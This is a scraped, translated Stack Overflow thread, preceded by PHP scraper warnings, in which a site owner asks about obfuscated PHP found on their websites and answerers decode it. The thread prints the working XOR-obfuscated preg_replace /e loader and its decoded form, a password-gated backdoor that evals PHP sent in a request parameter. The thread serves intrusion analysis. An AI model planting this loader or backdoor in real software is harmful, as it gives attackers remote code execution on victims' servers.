Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/227.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
解码一个奇怪的、可能是恶意的PHP代码_Php_Security_Encryption_Encoding - Fatal编程技术网

解码一个奇怪的、可能是恶意的PHP代码

解码一个奇怪的、可能是恶意的PHP代码,php,security,encryption,encoding,Php,Security,Encryption,Encoding,我在我的一些网站上看到以下代码: preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01

我在我的一些网站上看到以下代码:

preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL");
?>
我试着像正常的评估一样解码,通过一些解析,但没有得到任何运气。有人知道如何解码并了解它的功能吗


它在preg_replace上使用了/e(eval)修饰符,但似乎没有做任何事情//

查看第二部分,我注意到它将两个字符串异或在一起:

php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";                                              
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa";
php > $z=$x^$y;
php > print $z;
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }")
php > 
它在“ch”中查找“password”,如果密码哈希匹配,则评估php_代码参数中的内容

不过,我不确定preg_替换是如何实现的

编辑

preg replace似乎正在替换与替换不匹配的内容,导致刚刚解码的内容运行。考虑这个例子

<?php
preg_replace("/X/e","eval('print 1;');",'X');
?>

只需取出正则表达式中的
e
,这使得PHP
eval
成为替换后的表达式,
echo
成为替换后的代码。它安装了一个后门,允许任何人
eval
通过URL发送的任何PHP代码


请参阅。

如果它应该是“您的站点”,而您没有将其放在那里,那么它的定义就是恶意的。@Karl-可能是一个匿名的赞助者,他决定入侵该站点,用更好的东西替换坏代码@埃博迈克:人们都这么做吗?@devingun我一直都这么做。:)好吧,我可以理解,如果是Stackoverflow的人:)无论如何,在回答这个问题时:@John smith你知道如何添加这个代码吗?你不是在整理你的输入吗?
preg\u replace
只是在那里产生问题。呃,我的意思是,混淆正在发生的事情。这是一个相当令人印象深刻的建造后门的方法。